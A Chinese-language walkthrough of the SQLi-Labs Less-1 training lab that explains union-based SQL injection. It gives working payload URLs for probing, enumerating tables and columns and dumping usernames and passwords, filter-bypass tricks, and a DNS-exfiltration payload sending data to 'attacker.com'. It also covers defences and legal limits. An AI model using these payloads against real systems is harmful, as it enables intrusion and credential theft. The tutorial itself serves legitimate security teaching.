1. SQL注入基础与Less-1环境准备
作为一名长期从事Web安全研究的从业者,我经常遇到初学者对SQL注入概念理解模糊的情况。SQL注入(SQL Injection)本质上是一种通过将恶意SQL代码插入到应用输入参数中,从而在后台数据库执行非预期操作的攻击技术。在OWASP Top 10安全威胁中,注入类漏洞常年位居榜首,而SQL注入又是其中最常见、危害最大的类型之一。
SQLi-Labs是由印度安全研究员Audi-1开发的专门用于SQL注入学习的靶场环境。Less-1作为整个系列的第一个关卡,设计目标是帮助学习者掌握最基本的字符型注入技术。这个关卡模拟了一个典型的用户登录查询场景,后端PHP代码直接拼接用户输入的ID参数到SQL语句中,形成了最基础的注入漏洞。
1.1 环境搭建要点
在开始实战前,你需要准备以下环境:
- PHP运行环境(推荐使用XAMPP或phpStudy集成环境)
- MySQL数据库(5.x或8.x版本均可)
- 从GitHub下载SQLi-Labs源码(注意:建议在虚拟机或隔离环境中搭建)
搭建过程中最常见的三个问题及解决方案:
- 数据库连接失败:检查sqli-labs/db-creds.inc文件中的数据库账号密码是否与本地MySQL配置一致
- 页面显示异常:确保PHP版本在5.4以上,同时需要开启MySQL扩展
- 关卡无法初始化:手动执行sql-lab/sql-connections文件夹中的SQL文件初始化数据库
重要提示:永远不要在生产环境搭建此类靶场,也避免使用真实业务数据库进行测试
2. 注入原理深度解析
2.1 漏洞形成机制
让我们解剖Less-1的后端代码逻辑(模拟代码):
$id = $_GET['id']; $sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $result = mysql_query($sql);当用户访问?id=1时,实际执行的SQL是:
SELECT * FROM users WHERE id='1' LIMIT 0,1而当输入?id=1'时,SQL变为:
SELECT * FROM users WHERE id='1'' LIMIT 0,1这个微小的单引号破坏了SQL语法结构,导致报错。这种响应差异正是我们判断注入点存在与否的关键依据。
2.2 联合查询注入原理
联合查询(UNION)是SQL注入中最常用的技术之一,它允许我们将恶意查询结果与原查询结果合并返回。其有效利用需要满足三个条件:
- 前后查询的列数必须相同
- 对应列的数据类型必须兼容
- 后一个查询不能包含ORDER BY子句(除非整体查询包含)
在Less-1中,我们通过order by 3确定原查询有3列后,就可以构造:
SELECT * FROM users WHERE id='-1' union select 1,2,3 -- ' LIMIT 0,1这里将id设为-1(不存在的值)确保原查询不返回结果,使页面完整显示我们union select的内容。
3. 分步攻击实操详解
3.1 注入点探测与确认
第一步:基础测试
- 正常访问:
/Less-1/?id=1- 预期看到用户Dumb的信息
- 添加单引号:
/Less-1/?id=1'- 应出现SQL语法错误
- 测试注释:
/Less-1/?id=1'--+- 页面恢复正常,确认字符型注入
关键技巧:
--+中的+在URL中代表空格,也可以用%20替代- 如果
--被过滤,可以尝试#(需编码为%23)
3.2 确定字段数量
使用order by子句逐步测试:
/Less-1/?id=1' order by 1--+ 正常 /Less-1/?id=1' order by 2--+ 正常 /Less-1/?id=1' order by 3--+ 正常 /Less-1/?id=1' order by 4--+ 报错由此确定字段数为3。
3.3 联合查询构造
构造union查询探测回显点:
/Less-1/?id=-1' union select 1,2,3--+观察页面何处显示数字2和3,这些位置就是我们可以利用的输出点。
3.4 信息收集技术
获取数据库信息
/Less-1/?id=-1' union select 1,database(),version()--+- database():当前数据库名
- version():MySQL版本信息
获取表名
/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+关键点解释:
- information_schema是MySQL元数据库
- table_schema限定当前数据库
- group_concat将多行结果合并为单行
获取字段名
/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+最终数据提取
/Less-1/?id=-1' union select 1,group_concat(username,0x3a,password),3 from users--+这里0x3a是冒号的十六进制表示,避免使用引号被过滤。
4. 防御方案与进阶思考
4.1 根本性防御措施
- 预编译语句(最佳实践)
$stmt = $pdo->prepare("SELECT * FROM users WHERE id=?"); $stmt->execute([$id]);- 输入验证
- 白名单验证:确保id为数字时使用
is_numeric() - 黑名单过滤:即使需要字符串,也应过滤特殊字符
- 最小权限原则
- 应用数据库账号应只有必要权限
- 禁止访问information_schema
4.2 绕过技术前瞻
虽然Less-1是基础关卡,但了解可能的绕过技术有助于全面防御:
- 注释符变异
--、#、/.../等多种形式- 某些场景下可以使用
;%00截断
- 编码混淆
- 十六进制编码:
0x61646d696e代替'admin' - URL编码:
%27代替单引号
- 多语句执行
- 某些配置允许
;分隔执行多条SQL
5. 实战经验与排错指南
5.1 常见错误处理
- union查询不显示结果
- 确认前一个查询结果为空(使用不存在的id如-1)
- 检查列数是否匹配
- 尝试在不同位置放置回显标记
- group_concat被截断
- 修改group_concat_max_len设置:
/Less-1/?id=-1' union select 1,@@group_concat_max_len,3--+- 使用substring分段获取:
/Less-1/?id=-1' union select 1,substring(group_concat(table_name),1,30),3 from information_schema.tables--+- 单引号被转义
- 尝试使用十六进制编码
- 使用char()函数:
char(39)表示单引号
5.2 效率优化技巧
- 信息收集自动化
- 使用Burp Suite的Intruder模块批量测试
- 编写简单Python脚本自动提取数据
- 精准查询代替group_concat
- 当数据量大时,直接查询目标:
/Less-1/?id=-1' union select 1,username,password from users limit 0,1--+- 利用DNS外带数据
- 在特殊环境下可用DNS解析记录外传数据:
/Less-1/?id=-1' union select 1,load_file(concat('\\\\',(select database()),'.attacker.com\\share')),3--+6. 法律与道德边界
必须强调的是,SQL注入技术只能用于合法授权的安全测试。未经授权的渗透测试可能触犯《网络安全法》等相关法律法规。在实际工作中:
- 始终获取书面授权
- 测试前备份数据
- 使用隔离测试环境
- 发现漏洞后立即报告不扩散
我个人的经验是,真正理解SQL注入的最好方式不是盲目攻击,而是自己编写存在漏洞的代码,然后尝试修复它。这种构建-破坏-修复的循环能带来最深刻的学习效果。